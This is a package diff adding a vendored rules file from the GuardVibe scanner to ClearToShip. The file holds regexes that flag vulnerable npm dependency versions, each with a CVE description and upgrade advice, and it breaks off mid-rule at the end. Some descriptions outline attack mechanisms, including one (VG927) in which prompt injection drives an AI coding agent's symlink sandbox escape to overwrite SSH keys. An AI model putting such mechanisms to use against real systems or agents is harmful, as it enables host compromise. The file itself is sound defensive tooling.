cleartoship 0.4.0

package/dist/vendor/guardvibe/rules/cve-versions.js

@@ -0,0 +1,1130 @@
+/*
+ * Vendored from GuardVibe — https://github.com/goklab/guardvibe
+ * Copyright 2026 GokLab. Licensed under the Apache License, Version 2.0.
+ * Full licence: LICENSES/guardvibe-Apache-2.0.txt
+ *
+ * Modifications by ClearToShip: import paths rewritten for this package
+ * layout. Rule content is unchanged; rules that duplicate ClearToShip's own
+ * AST checks are disabled at runtime in src/scanners/community.ts rather
+ * than deleted here, so this file stays a faithful copy of upstream.
+ */
+// CVE version checking rules for known vulnerable framework versions in package.json
+export const cveVersionRules = [
+    {
+        id: "VG900",
+        name: "Next.js Server-Side Request Forgery (CVE-2024-34351)",
+        severity: "critical",
+        owasp: "A10:2025 SSRF",
+        description: "Next.js versions before 14.1.1 are vulnerable to SSRF via Host header poisoning in Server Actions. Attackers can make the server fetch arbitrary URLs.",
+        pattern: /["']next["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:13\.\d+\.\d+|14\.0\.\d+|14\.1\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 14.1.1 or later: npm install next@latest",
+        fixCode: '// package.json\n"next": "^14.2.0"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG901",
+        name: "Next.js Cache Poisoning via Headers (CVE-2024-46982)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "Next.js versions before 14.2.10 are vulnerable to cache poisoning when using Pages Router with ISR. Attackers can serve stale or manipulated content.",
+        pattern: /["']next["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:13\.\d+\.\d+|14\.[01]\.\d+|14\.2\.[0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 14.2.10 or later: npm install next@latest",
+        fixCode: '// package.json\n"next": "^14.2.10"  // or latest',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG902",
+        name: "Next.js Authorization Bypass via Middleware (CVE-2025-29927)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "Next.js versions before 14.2.25 and 15.2.3 are vulnerable to authorization bypass. Attackers can skip middleware-based auth checks using a crafted x-middleware-subrequest header.",
+        pattern: /["']next["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:1[0-3]\.\d+\.\d+|14\.[01]\.\d+|14\.2\.(?:[0-9]|1[0-9]|2[0-4])|15\.[01]\.\d+|15\.2\.[0-2])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 14.2.25+ or 15.2.3+: npm install next@latest",
+        fixCode: '// package.json\n"next": "^15.2.3"  // or "^14.2.25" for v14',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG903",
+        name: "React Vulnerable to XSS in Older Versions",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "React versions before 18.3.1 contain known XSS vulnerabilities. React 16.x and 17.x have multiple unpatched security issues.",
+        pattern: /["']react["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:15\.\d+\.\d+|16\.\d+\.\d+|17\.\d+\.\d+|18\.[0-1]\.\d+|18\.3\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade React to 18.3.1 or later: npm install react@latest react-dom@latest",
+        fixCode: '// package.json\n"react": "^18.3.1",\n"react-dom": "^18.3.1"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG904",
+        name: "Express.js Path Traversal (CVE-2024-29041)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "Express.js versions before 4.19.2 are vulnerable to open redirect and path traversal attacks via malicious URLs.",
+        pattern: /["']express["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:3\.\d+\.\d+|4\.(?:[0-9]|1[0-8])\.\d+|4\.19\.[01])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Express to 4.19.2 or later: npm install express@latest",
+        fixCode: '// package.json\n"express": "^4.21.0"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG905",
+        name: "Axios Server-Side Request Forgery (CVE-2023-45857)",
+        severity: "high",
+        owasp: "A10:2025 SSRF",
+        description: "Axios versions before 1.6.0 inadvertently expose the confidential XSRF-TOKEN in cross-site requests, and versions before 1.7.4 have SSRF vulnerabilities.",
+        pattern: /["']axios["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.\d+\.\d+|1\.[0-5]\.\d+|1\.6\.\d+(?!\d))["']/g,
+        languages: ["json"],
+        fix: "Upgrade Axios to 1.7.4 or later: npm install axios@latest",
+        fixCode: '// package.json\n"axios": "^1.7.4"  // or latest',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG906",
+        name: "jsonwebtoken Vulnerable to Key Confusion (CVE-2022-23529)",
+        severity: "critical",
+        owasp: "A07:2025 Auth Failures",
+        description: "jsonwebtoken versions before 9.0.0 are vulnerable to key confusion attacks that allow token forgery and authentication bypass.",
+        pattern: /["']jsonwebtoken["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-7]\.\d+\.\d+|8\.\d+\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade jsonwebtoken to 9.0.0 or later: npm install jsonwebtoken@latest",
+        fixCode: '// package.json\n"jsonwebtoken": "^9.0.0"',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG907",
+        name: "lodash Prototype Pollution (CVE-2020-28500)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "Lodash versions before 4.17.21 are vulnerable to prototype pollution via the merge, mergeWith, and zipObjectDeep functions, enabling denial of service or code execution.",
+        pattern: /["']lodash["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.(?:[0-9]|1[0-6])\.\d+|4\.17\.(?:[0-9]|1[0-9]|20))["']/g,
+        languages: ["json"],
+        fix: "Upgrade lodash to 4.17.21 or later, or replace with native JS alternatives.",
+        fixCode: '// package.json\n"lodash": "^4.17.21"\n\n// Or better: use native JS\n// Object.keys(), Array.prototype.flat(), structuredClone()',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG908",
+        name: "node-fetch Redirect Bypass (CVE-2022-0235)",
+        severity: "medium",
+        owasp: "A07:2025 Sensitive Data Exposure",
+        description: "node-fetch versions before 2.6.7 and 3.1.1 expose sensitive headers (authorization, cookie) when following cross-origin redirects.",
+        pattern: /["']node-fetch["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:1\.\d+\.\d+|2\.[0-5]\.\d+|2\.6\.[0-6]|3\.0\.\d+|3\.1\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade node-fetch to 2.6.7+ or 3.1.1+. Consider using native fetch (Node.js 18+).",
+        fixCode: '// Best: use native fetch (Node.js 18+)\nconst res = await fetch(url);\n\n// Or upgrade\n"node-fetch": "^3.3.0"',
+        compliance: ["SOC2:CC6.1"],
+    },
+    {
+        id: "VG909",
+        name: "tar Path Traversal (CVE-2021-37701)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "tar (npm) versions before 6.1.9 are vulnerable to arbitrary file creation/overwrite via path traversal in symlinks. This is a critical supply chain risk.",
+        pattern: /["']tar["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-5]\.\d+\.\d+|6\.0\.\d+|6\.1\.[0-8])["']/g,
+        languages: ["json"],
+        fix: "Upgrade tar to 6.1.9 or later: npm install tar@latest",
+        fixCode: '// package.json\n"tar": "^6.2.0"  // or latest',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG910",
+        name: "xml2js Prototype Pollution (CVE-2023-0842)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "xml2js versions before 0.5.0 are vulnerable to prototype pollution when parsing XML. Attackers can inject __proto__ keys to pollute the Object prototype.",
+        pattern: /["']xml2js["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.[0-4]\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade xml2js to 0.5.0 or later, or switch to fast-xml-parser.",
+        fixCode: '// package.json\n"xml2js": "^0.6.0"\n\n// Or switch to safer alternative\n"fast-xml-parser": "^4.3.0"',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG911",
+        name: "Deprecated crypto-js with Known Vulnerabilities",
+        severity: "medium",
+        owasp: "A07:2025 Auth Failures",
+        description: "crypto-js is unmaintained since 2023 and has known PBKDF2 output issues. Use Node.js built-in crypto or Web Crypto API instead.",
+        pattern: /["']crypto-js["']\s*:\s*["'](?:\^|~|>=?)?\s*\d+\.\d+\.\d+["']/g,
+        languages: ["json"],
+        fix: "Replace crypto-js with Node.js built-in crypto module or Web Crypto API.",
+        fixCode: '// Replace crypto-js with built-in crypto\nimport { createHash, randomBytes } from "node:crypto";\nconst hash = createHash("sha256").update(data).digest("hex");',
+        compliance: ["SOC2:CC6.1"],
+    },
+    // --- New CVEs: Prisma, next-auth, sharp, ws, undici ---
+    {
+        id: "VG912",
+        name: "Prisma Client Denial of Service (CVE-2024-32970)",
+        severity: "high",
+        owasp: "A06:2025 Vulnerable Components",
+        description: "Prisma Client versions before 5.13.0 are vulnerable to DoS attacks via unbounded resource consumption when processing maliciously crafted queries.",
+        pattern: /["']@prisma\/client["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.(?:[0-9]|1[0-2])\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade Prisma to 5.13.0 or later: npm install @prisma/client@latest prisma@latest",
+        fixCode: '// package.json\n"@prisma/client": "^5.13.0",\n"prisma": "^5.13.0"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG913",
+        name: "Prisma Raw Query SQL Injection (CVE-2024-49382)",
+        severity: "critical",
+        owasp: "A02:2025 Injection",
+        description: "Prisma Client versions before 5.22.0 have an SQL injection vulnerability in $queryRaw with certain PostgreSQL column types. Tagged template literals do not properly escape all values.",
+        pattern: /["']@prisma\/client["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.(?:[0-9]|1[0-9]|2[01])\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade Prisma to 5.22.0 or later: npm install @prisma/client@latest prisma@latest",
+        fixCode: '// package.json\n"@prisma/client": "^5.22.0",\n"prisma": "^5.22.0"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG914",
+        name: "NextAuth.js Authentication Bypass (CVE-2023-48309)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "next-auth versions before 4.24.5 are vulnerable to authentication bypass. The CSRF check can be skipped, allowing attackers to call API endpoints without proper validation.",
+        pattern: /["']next-auth["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.(?:[0-9]|1[0-9]|2[0-3])\.\d+|4\.24\.[0-4])["']/g,
+        languages: ["json"],
+        fix: "Upgrade next-auth to 4.24.5 or later, or migrate to Auth.js v5: npm install next-auth@latest",
+        fixCode: '// package.json\n"next-auth": "^4.24.5"  // or migrate to Auth.js v5',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(d)"],
+    },
+    {
+        id: "VG915",
+        name: "NextAuth.js URL Validation Bypass (CVE-2023-27490)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "next-auth versions before 4.20.1 are vulnerable to open redirect. The callback URL validation can be bypassed to redirect users to attacker-controlled sites after authentication.",
+        pattern: /["']next-auth["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.(?:[0-9]|1[0-9])\.\d+|4\.20\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade next-auth to 4.20.1 or later: npm install next-auth@latest",
+        fixCode: '// package.json\n"next-auth": "^4.24.5"',
+        compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG916",
+        name: "sharp Arbitrary File Read (CVE-2024-29415)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "sharp versions before 0.33.3 depend on a vulnerable libvips that can be exploited for SSRF or arbitrary file reads when processing crafted SVG images.",
+        pattern: /["']sharp["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.(?:[0-9]|[12][0-9]|3[0-2])\.\d+|0\.33\.[0-2])["']/g,
+        languages: ["json"],
+        fix: "Upgrade sharp to 0.33.3 or later: npm install sharp@latest",
+        fixCode: '// package.json\n"sharp": "^0.33.3"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG917",
+        name: "ws WebSocket DoS (CVE-2024-37890)",
+        severity: "high",
+        owasp: "A06:2025 Vulnerable Components",
+        description: "ws (WebSocket library) versions before 8.17.1 are vulnerable to denial of service. A crafted request with a specially encoded Sec-WebSocket-Protocol header crashes the server.",
+        pattern: /["']ws["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-7]\.\d+\.\d+|8\.(?:[0-9]|1[0-6])\.\d+|8\.17\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade ws to 8.17.1 or later: npm install ws@latest",
+        fixCode: '// package.json\n"ws": "^8.17.1"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG918",
+        name: "undici CRLF Injection (CVE-2024-30260)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "undici versions before 6.11.1 (and before 5.28.4 in v5) are vulnerable to CRLF injection via request headers. Attackers can inject arbitrary headers into HTTP requests.",
+        pattern: /["']undici["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.(?:[0-9]|1[0-9]|2[0-7])\.\d+|5\.28\.[0-3]|6\.(?:[0-9]|10)\.\d+|6\.11\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade undici to 6.11.1 or later (or 5.28.4+ for v5): npm install undici@latest",
+        fixCode: '// package.json\n"undici": "^6.11.1"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG919",
+        name: "undici Fetch Leak via Proxy (CVE-2024-24758)",
+        severity: "medium",
+        owasp: "A07:2025 Sensitive Data Exposure",
+        description: "undici versions before 6.6.1 (and before 5.28.3 in v5) leak Proxy-Authorization headers to targets when following cross-origin redirects through an HTTP proxy.",
+        pattern: /["']undici["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.(?:[0-9]|1[0-9]|2[0-7])\.\d+|5\.28\.[0-2]|6\.[0-5]\.\d+|6\.6\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade undici to 6.6.1 or later (or 5.28.3+ for v5): npm install undici@latest",
+        fixCode: '// package.json\n"undici": "^6.11.1"  // latest covers all known CVEs',
+        compliance: ["SOC2:CC6.1"],
+    },
+    {
+        id: "VG920",
+        name: "React Server Components RCE (CVE-2025-55182)",
+        severity: "critical",
+        owasp: "A02:2025 Injection",
+        description: "React 19.0.0 through 19.1.0 and Next.js 15.0.0 through 15.3.2 are vulnerable to React2Shell — a critical deserialization RCE in the React Flight protocol. Attackers send crafted POST payloads to any App Router endpoint to achieve remote code execution without authentication. CVSS 10.0. State-nexus threat groups exploited this within hours of disclosure (December 2025).",
+        pattern: /["']react["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:19\.0\.\d+|19\.1\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade React to 19.1.1+ and Next.js to 15.3.3+: npm install react@latest react-dom@latest next@latest",
+        fixCode: '// package.json — upgrade immediately\n"react": "^19.1.1",\n"react-dom": "^19.1.1",\n"next": "^15.3.3"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG921",
+        name: "@anthropic-ai/sdk Sandbox Escape (CVE-2026-34451)",
+        severity: "critical",
+        owasp: "A06:2025 Vulnerable Components",
+        description: "@anthropic-ai/sdk versions before 0.81.0 are vulnerable to sandbox escape. Attackers can break out of the SDK's sandboxed execution environment to access the host system, read files, and execute arbitrary commands. Upgrade immediately.",
+        pattern: /["']@anthropic-ai\/sdk["']\s*:\s*["'](?:\^|~|>=?)?\s*0\.(?:[0-7]\d|80)\.\d+["']/g,
+        languages: ["json"],
+        fix: "Upgrade @anthropic-ai/sdk to 0.81.0 or later: npm install @anthropic-ai/sdk@latest",
+        fixCode: '// package.json\n"@anthropic-ai/sdk": "^0.81.0"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG922",
+        name: "defu Prototype Pollution (CVE-2026-35209)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "defu (deep defaults utility used by Nuxt, Nitro, unbuild) versions before 6.1.5 are vulnerable to prototype pollution via crafted nested objects. Attackers can inject __proto__ or constructor.prototype properties to modify Object behavior, leading to denial of service or code execution.",
+        pattern: /["']defu["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-5]\.\d+\.\d+|6\.0\.\d+|6\.1\.[0-4])["']/g,
+        languages: ["json"],
+        fix: "Upgrade defu to 6.1.5 or later: npm install defu@latest",
+        fixCode: '// package.json\n"defu": "^6.1.5"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG923",
+        name: "Axios Backdoor Versions (Supply Chain Attack March 2026)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "Axios versions 1.14.1 and 0.30.4 were published via a compromised maintainer account in March 2026. These versions contain a backdoor that exfiltrates environment variables (API keys, database URLs, secrets) to an attacker-controlled server on every HTTP request. The malicious payload was hidden in the 'plain-crypto-js' transitive dependency. Any project pinned to these exact versions is actively compromised.",
+        pattern: /["']axios["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:1\.14\.1|0\.30\.4)["']/g,
+        languages: ["json"],
+        fix: "IMMEDIATELY upgrade Axios. Rotate ALL secrets and API keys that were accessible to the compromised environment. Check npm audit and verify lockfile integrity hashes.",
+        fixCode: '// COMPROMISED — remove immediately:\n// "axios": "1.14.1"  ← backdoor\n// "axios": "0.30.4"  ← backdoor\n\n// Safe — upgrade to latest:\n"axios": "^1.7.9"\n\n// Post-incident: rotate ALL exposed secrets\n// - API keys, database URLs, JWT secrets\n// - Check: npm audit && npm ls plain-crypto-js',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG924",
+        name: "Hono setCookie Header Injection (CVE-2026-29086)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "Hono versions before 4.12.4 are vulnerable to Set-Cookie header injection via setCookie(). Attackers can inject CRLF characters into cookie values to add arbitrary HTTP headers or forge additional Set-Cookie headers, enabling session fixation and cross-site attacks.",
+        pattern: /["']hono["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.(?:[0-9]|1[01])\.\d+|4\.12\.[0-3])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Hono to 4.12.4 or later: npm install hono@latest",
+        fixCode: '// package.json — upgrade to patched version\n"hono": "^4.12.4"  // or latest\n\n// If you cannot upgrade, sanitize cookie values:\nfunction safeCookieValue(v: string) {\n  return v.replace(/[\\r\\n]/g, "");\n}\ncookie(c, "session", safeCookieValue(token));',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG925",
+        name: "Clerk SDK Middleware Route Protection Bypass (GHSA-vqx2-fgx2-5wq9)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "Official Clerk SDKs (@clerk/nextjs, @clerk/nuxt, @clerk/astro) versions 1.1.0 to <1.13.28 and 2.0.0 to <2.2.2 are vulnerable to middleware-based route protection bypass. createRouteMatcher can be bypassed by crafted requests, allowing attackers to skip middleware gating and reach protected handlers. Sessions are not compromised, but routes guarded only by middleware become exposed. Upgrade to 1.13.28+ or 2.2.2+.",
+        pattern: /["']@clerk\/(?:nextjs|nuxt|astro)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:1\.(?:[1-9]|1[0-2])\.\d+|1\.13\.(?:[0-9]|1[0-9]|2[0-7])|2\.[01]\.\d+|2\.2\.[01])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @clerk/nextjs, @clerk/nuxt, or @clerk/astro to 1.13.28+ or 2.2.2+. Add defence-in-depth: re-check auth inside protected route handlers instead of relying solely on middleware.",
+        fixCode: '// package.json\n"@clerk/nextjs": "^2.2.2"  // or latest (^1.13.28 for v1)\n\n// Defence-in-depth — also verify auth inside the route, not just middleware:\nimport { auth } from "@clerk/nextjs/server";\nexport async function GET() {\n  const { userId } = await auth();\n  if (!userId) return new Response("Unauthorized", { status: 401 });\n  // ...\n}',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG926",
+        name: "Next.js / React Server Components DoS (CVE-2026-23869)",
+        severity: "high",
+        owasp: "A06:2025 Vulnerable Components",
+        description: "Next.js versions before 16.2.3 and React versions before 19.2.5 are vulnerable to a DoS in the React Flight protocol when deserializing Server Functions payloads. Crafted HTTP requests to Server Function endpoints cause up to a minute of CPU exhaustion per request before throwing, enabling remote unauthenticated DoS on any app that exposes RSC Server Actions. Affects react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel.",
+        pattern: /["'](?:next|react|react-dom)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:16\.[01]\.\d+|16\.2\.[012]|19\.2\.[0-4])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 16.2.3+ and React to 19.2.5+. Apply rate limiting on Server Action / RSC POST endpoints to mitigate abuse while rolling out the patch.",
+        fixCode: '// package.json\n"next": "^16.2.3",\n"react": "^19.2.5",\n"react-dom": "^19.2.5"\n\n// Rate-limit Server Actions until patched (example: middleware.ts)\n// Throttle POST requests to RSC endpoints by IP',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG927",
+        name: "Claude Code Sandbox Escape via Symlink (CVE-2026-39861)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "@anthropic-ai/claude-code versions before 2.1.64 are vulnerable to sandbox escape. A sandboxed process can create a symlink pointing outside the workspace; the privileged host process then follows the symlink when writing, placing attacker-controlled content at arbitrary filesystem locations (e.g. ~/.ssh/authorized_keys). Requires prompt injection to trigger, but the impact is full host compromise at the user's privileges.",
+        pattern: /["']@anthropic-ai\/claude-code["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[01]\.\d+\.\d+|2\.0\.\d+|2\.1\.(?:[0-9]|[1-5]\d|6[0-3]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @anthropic-ai/claude-code to 2.1.64 or later: npm install -g @anthropic-ai/claude-code@latest",
+        fixCode: '// package.json\n"@anthropic-ai/claude-code": "^2.1.64"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG928",
+        name: "xmldom CDATA XML Injection (CVE-2026-34601)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "@xmldom/xmldom versions before 0.8.12 and 0.9.9 are vulnerable to XML injection via unsafe CDATA serialization. Attacker-controlled strings containing the CDATA terminator ]]> are emitted verbatim by XMLSerializer, breaking out of the CDATA section and injecting arbitrary XML markup processed by downstream parsers. The legacy 'xmldom' package (renamed to @xmldom/xmldom) is unmaintained and should be replaced entirely.",
+        pattern: /["'](?:@xmldom\/xmldom|xmldom)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.[0-7]\.\d+|0\.8\.(?:[0-9]|1[0-2])|0\.9\.[0-9])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @xmldom/xmldom to 0.8.13+ or 0.9.10+. Also fixes DocumentType, comment serialization injection and recursion DoS (GHSA-f6ww-3ggp-fr8h / GHSA-j759-j44w-7fr8 / GHSA-2v35-w6hq-6mfw). Replace the deprecated 'xmldom' package entirely.",
+        fixCode: '// package.json — patched versions\n"@xmldom/xmldom": "^0.9.9"  // or "^0.8.12" for 0.8 branch\n\n// Deprecated — replace entirely:\n// "xmldom": "*"  ← unmaintained, switch to @xmldom/xmldom or fast-xml-parser',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG929",
+        name: "Flowise CustomMCP Remote Code Execution (CVE-2025-59528)",
+        severity: "critical",
+        owasp: "A02:2025 Injection",
+        description: "Flowise versions 3.0.5 and earlier are vulnerable to unauthenticated remote code execution via the CustomMCP node. User-supplied mcpServerConfig JavaScript is evaluated through the Function() constructor without sandboxing, granting full Node.js runtime privileges including child_process and fs access. CVSS 10.0, actively exploited with 12,000+ exposed instances.",
+        pattern: /["']flowise["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-2]\.\d+\.\d+|3\.0\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Flowise to 3.0.6 or later (ideally 3.1.1+): npm install flowise@latest. Restrict network exposure of Flowise instances and require authentication on the UI.",
+        fixCode: '// package.json\n"flowise": "^3.1.1"  // or at minimum "^3.0.6"\n\n// Also: do not expose Flowise to the public internet without auth',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG930",
+        name: "i18next-http-backend Path Traversal (GHSA-Q89C-Q3H5-W34G)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "i18next-http-backend versions before 3.0.5 interpolate user-controlled 'lng' (language) and 'ns' (namespace) values directly into loadPath / addPath URL templates without validation. Attackers can inject path traversal sequences, URL structure characters (?, #, %, @), prototype keys, or control characters to read arbitrary translation files, trigger SSRF, or bypass path-based authorization.",
+        pattern: /["']i18next-http-backend["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-2]\.\d+\.\d+|3\.0\.[0-4])["']/g,
+        languages: ["json"],
+        fix: "Upgrade i18next-http-backend to 3.0.5 or later: npm install i18next-http-backend@latest. Validate 'lng' and 'ns' on the client before passing to i18next.",
+        fixCode: '// package.json\n"i18next-http-backend": "^3.0.5"  // or latest\n\n// Defence-in-depth — allowlist supported lng/ns values\nconst ALLOWED_LNG = new Set(["en", "tr", "de", "fr"]);\nif (!ALLOWED_LNG.has(lng)) throw new Error("Unsupported language");',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG931",
+        name: "Drizzle ORM SQL Injection via Identifier Escaping (GHSA-gpj5-g38j-94v9)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "drizzle-orm versions before 0.45.2 (and 1.0.0-beta.2 through 1.0.0-beta.19) are vulnerable to SQL injection. Dialect-specific escapeName() implementations did not escape embedded identifier delimiters before wrapping in quotes/backticks. Untrusted input passed to sql.identifier() or .as() — common in dynamic sort columns, report builders, or aliasing — can break out of the quoted identifier and inject arbitrary SQL. Affects Postgres/SQLite/Gel (double-quote breakout) and MySQL/SingleStore (backtick breakout).",
+        pattern: /["']drizzle-orm["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.(?:[0-9]|[1-3]\d|4[0-4])\.\d+|0\.45\.[01]|1\.0\.0-beta\.(?:[2-9]|1[0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade drizzle-orm to 0.45.2+ (stable) or 1.0.0-beta.20+ (beta channel). Also allowlist any user-controlled value passed to sql.identifier() or .as().",
+        fixCode: '// package.json\n"drizzle-orm": "^0.45.2"  // or "^1.0.0-beta.20" for beta\n\n// Defence-in-depth — never pass raw user input to sql.identifier() / .as():\nconst ALLOWED_COLUMNS = ["name", "email", "created_at"] as const;\nconst col = ALLOWED_COLUMNS.find(c => c === req.query.sortBy);\nif (!col) throw new Error("Invalid column");\ndb.select().from(users).orderBy(users[col]);',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1037",
+        name: "vm2 Sandbox Breakout (CVE-2026-44008/44009)",
+        severity: "critical",
+        owasp: "A03:2025 Software Supply Chain Failures",
+        description: "vm2 versions before 3.11.2 are vulnerable to two sandbox breakouts: a null-prototype exception escape (CVE-2026-44009) and a neutralizeArraySpeciesBatch breakout (CVE-2026-44008). Both allow attacker-controlled code inside the sandbox to obtain a host-side reference and execute arbitrary code on the host. vm2 has been deprecated upstream — even with the 3.11.2 patch the maintainers recommend migrating to isolated-vm.",
+        pattern: /["']vm2["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-2]\.\d+\.\d+|3\.(?:[0-9]|10)\.\d+|3\.11\.[01])["']/g,
+        languages: ["json"],
+        fix: "Migrate off vm2 to isolated-vm or a microVM sandbox (Vercel Sandbox, e2b, Firecracker). If migration is blocked, pin vm2 to >= 3.11.2 as a stop-gap.",
+        fixCode: '// package.json — recommended migration\n"isolated-vm": "^5.0.0"  // remove vm2 entirely\n\n// Or, stop-gap pin if migration is blocked:\n// "vm2": "^3.11.2"',
+        compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.2", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG1038",
+        name: "fast-uri Path Traversal and Host Confusion (CVE-2026-6321/6322)",
+        severity: "high",
